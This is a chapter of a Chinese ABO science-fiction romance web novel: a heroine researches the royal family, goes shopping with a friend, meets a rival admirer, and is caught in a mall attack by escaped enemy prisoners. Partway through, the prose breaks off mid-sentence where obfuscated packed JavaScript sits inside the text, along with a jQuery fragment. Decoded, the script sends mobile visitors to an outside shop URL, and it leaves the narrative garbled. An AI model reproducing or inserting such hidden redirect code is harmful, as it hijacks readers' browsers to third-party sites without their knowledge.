周六上午,皇室图书馆第七区。空气浮着旧纸张的气味,人走过,带起微尘在阳光下飘动,像一群沉睡的精灵被脚步声惊醒。

    沈知意坐在内部查询终端前,指尖悬在光屏上方,输入太子教她的关键词:“文明重建时期皇族的作用”。

    屏幕亮起的瞬间,档案像开闸的洪水涌出来。

    皇室组织星际移民的航线图、皇族成员亲赴虫族前线的全息影像、萧氏一族在断壁残垣上签署的重建宣言、历代储君演讲的录音……

    她逐条翻阅,指尖在光屏上划出轻快的弧线,偶尔停下来,对着某段影像定格。

    画面里,年轻的皇子正把一个孩子抱上救生舱,背后是被虫族啃噬过的穹顶……

    欲戴王冠,必承其重。这个书中世界让她信服的一点——领导者权责对等:必须亲自上过战场才有资格候选议员;必须身先士卒才能为皇族领袖。

    沈知意眨了眨眼,在笔记里记下这一帧的编号。

    太子来自这样的家族,他的重量有来处,他的脊梁是家族从灰烬里支撑起来的。

    她下载了十几份核心文献,又摘录了几段演讲词,终端弹出整理完成的提示音,论文的骨架已经搭稳了。

    下午,帝都星最繁华的天穹塔商场,景观电梯无声上升,穿过薄云。

    林南枝挽着沈知意的手臂,叽叽喳喳地拉着她走进腺体贴片店。

    “白朵,你试试这个新款,蜜桃乌龙味的!”

    沈知意接过贴片,指腹在包装边缘摩挲,扫了一眼成分表,随手放回。

    太子送她星球、教她“流霜”秘诀、给她选择的自由……她以什么回赠太子呢?太子作为储君,什么都有,她想了很久很久,到底怎么回礼。

    所以南枝约她逛街的时候,她一口就答应了——逛逛商场,找找灵感。

    南枝一边挑贴片一边刷终端,忽然转头看了一眼店门口守护的萧岳,压低声音:“你看论坛没有?关于你的帖子又炸了。”

    “什么帖子?”

    “就是‘沈白朵到底是不是Beta’那个。有人匿名发了你在训练馆的背影视频,说你走路的姿态不像Beta,腰胯的摆动节奏和Omega一模一样。”

    南枝把屏幕凑过来,“你看这个评论:‘我一个Omega,看她走路就知道她是同类。’底下吵了两百楼。”

    沈知意接过终端扫了一眼,把屏幕推回去:“我就是Beta,他们那么无聊啊。”

    “还有张亦扬。”南枝的声音压得更低,像分享秘密,“我们刚入学他不是发帖说你的香味干扰他,弄得他无心上课,还问你用什么香水,他要买来脱敏,哈哈哈哈。”

    看她茫然的样子,南枝搜到那个帖子。

    沈知意一看,张亦扬发帖抱怨边境星来的Beta喷的香水熏得他头晕,然后几个回帖为她说好话,说她眼睛可爱、身材巨好……很多看帖人被勾起兴趣,根据线索找到是谁,找到后又纷纷沦陷——这个帖子被大家笑称为:史上第一情敌召唤帖。

    沈知意第一次知道这些事情,哭笑不得。

    南枝又笑嘻嘻分享学校论坛实时热帖:

    “昨天张亦扬的搜索记录截图不知是谁扒出来的,发到论坛上了。张亦扬快气疯了,但帖子已经删不掉。”

    “他又干嘛了?”

    南枝给她看截图:

    沈白朵实训课时间

    沈白朵为什么换拍档

    沈白朵真是Omega吗

    沈白朵为什么那么香

    沈白朵会喜欢什么样的Alpha

    沈白朵、沈白朵、沈白朵……

    沈知意把一盒薄荷贴片放进购物筐里:“他每次看到我不是嘲笑就是讥讽的,搜我干什么?”

    南枝笑得意味深长:“别扭的少男之暗恋呗。”

    沈知意摇头:“这样的暗恋,消受不起啊。”

    她忽然看到了一家很大的手工材料店,眼前一亮,拐了进去。

    店员递给她几个大号的购物袋才把她挑的东西装下。

    南枝看着那几袋沉甸甸的材料:“你买这么多到底做什么?”

    “还没想好呢,先备着。”

    出了店门,萧岳又帮她接过了袋子,跟在身后几米充当“陪购员”。

    她俩说说笑笑走到五十层,花香混着水汽从一个大型花店漫出来。

    林南枝拉着她:“我妈要我给她带一束星髓兰!”

    沈知意看着这些星髓兰,一下想起沈淮送的那片星髓兰,得给他发个消息表示“想念”了。

    “你在这儿干什么?”

    张亦扬站在三米外,手里捏着两株不同颜色珠宝花饰品,昂贵的星晶制作。

    他看见沈知意的瞬间,眼睛亮了,整个人都焕发出光彩,但嘴又比脑子快:“你这个没见过世面的边境星Beta来长长见识了?”

    空气一静。

    南枝翻了个白眼。

    张亦扬自己先噎住了,耳根以肉眼可见的速度烧起来。他低头看了看手里的花枝,闭了一下眼,用力把刚才那句话摁回去,清了清嗓子,声音硬邦邦地拐了个弯,倨傲请求:“……我给……选珠宝做的花,挑花眼了。你帮我看看,哪个好看?”

    他把手里那几株往前递了递。沈知意低头看了看,随手指了旁边展台上那朵红玫瑰造型的星晶:“那个。”

    张亦扬顺着她的手指看过去,嘴角翘了一下又飞快压平:“这么庸俗的品位——算了就这个,包起来。”

    他转头对店员说。

    南枝拉了拉她的袖子:“走了走了,让挑花眼的人自己慢慢挑。”

    走出花店玻璃门的时候,南枝小声说:“你那句话说得对——这样的暗恋,呸!”

    萧岳手里拎了十几袋东西,看见沈知意走过来,表情平静但眼神里有一种“啥时候逛完”的麻木感。

    “沈小姐,我先把这些放车里吧。”

    沈知意点点头,手里新的购物袋递过去:“辛苦了。”

    萧岳面不改色地提起所有袋子,转身往电梯方向走。悬浮车停在空中停车场,他搭着景观电梯上行。

    两个女孩并肩往下层的餐厅区域走去,她们打算吃了晚餐才回去。

    穹顶的云景投影正在缓慢流转,傍晚的暮色揉成一层暖金色的薄纱覆在整个中庭上方。

    沈知意忽然感觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816394|208280||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到手腕内侧的蜂鸟轻轻搏动了一下——像什么远处的东西正在低低地振动。

    她还没来得及仔细分辨,整座商场的穹顶骤然熄灭,像有人把天空的开关猛地拉了下来。

    紧接着,所有的屏幕、广告牌、橱窗显示面、每一个人手中的终端,在同一秒切成了猩红色,议政厅徽章浮在正中央。

    冷峻的女声从四面八方的扬声器里压下来,沉而快,像一把刀从冰面上滑过去:

    “最高紧急通报!

    最高紧急通报!

    洛伊敌国一名S级、五名A级Alpha战俘于今日转运途中逃脱,现已确认进入帝都星核心区域。

    红色通缉令启动。全体公民提高警惕,发现可疑人员立即上报。

    重复——”

    伴随警报,弹出几张面孔,墨绿色的瞳孔沉在深陷的眼窝中,典型的敌国皇族面容。

    商场里安静了一瞬。

    忽然她俩的上层传来一声巨响——玻璃破碎,金属断裂,重物撞穿隔断,绞在一起,像一头巨兽撞破了笼子。

    中空层的护栏豁开一道口子。

    几个人从那层甩下来,旋转着砸进这层的地面。骨骼撞击星石的闷响。血在星石地面上洇开,猩红边缘渗进地砖的缝隙里。

    尖叫声从沈知意四面八方炸开。有人往反方向跑,有人奔跑时不慎撞翻了货架,香水瓶砸碎在地面上,甜腻的气味混着恐慌在空气里发酵。

    林南枝的膝盖软了,她整个人往下坠,手指死死攥着沈知意的手臂,呼吸断在喉咙里,整个人僵在原地。

    沈知意一把将她拽到身旁,后背抵住承重柱。右手腕内侧的蜂鸟在皮肤下搏动,像一头被惊醒的幼兽,振开了翅膀。

    她蓦然抬头看向那道豁口。

    上层护栏边缘立着一个身影。猩红的光从他背后漫过来,把他整个人压成一道边缘模糊的高大剪影,只有墨绿色的瞳孔是亮的,像深渊里的鬼影,沉在阴暗中,直直钉进她的眼睛里。

    他微微低头,鼻翼轻轻翕动了一下。搭在护栏断口上的手指猛的收拢,断裂的金属边缘在他掌心下发出巨响。一股冷冽锋利的信息素从豁口灌下来,像海面上骤然卷起的风暴,带着盐和金属的涩意。

    沈知意吸进第一口的时候,喉咙就被那股气息攥住了。太锐利了,像龙卷风从鼻腔里穿进去,沿着咽喉一路往下拉。

    后颈的腺体骤然烧起来,连带着颈椎那一节都僵住了,她的下巴一下抬起,像被什么东西强硬托起。

    南枝攥着她手臂的手指忽然僵了一瞬——指节在她胳膊上绷紧了,呼吸彻底停了,全身的重量都挂在她那条手臂上。

    周边的人都被按住暂停键一样,僵硬不动。

    那股气息压在所有声音上面,空气变得稠厚,每一口呼吸都像在吞咽掺了碎盐的海潮,仿佛置身飓风边缘。

    他就是飓风眼,站在上层的断口处,居高临下。墨绿色的瞳孔带着一种残酷漠然的审视,出笼凶兽在确认脚下的猎物还有没有挣扎的力气。

    蜂鸟的搏动抵着她的腕骨内侧,一下,一下,每一击都像在替她数着什么——数着他落下来的距离,数着她还能站立的时间。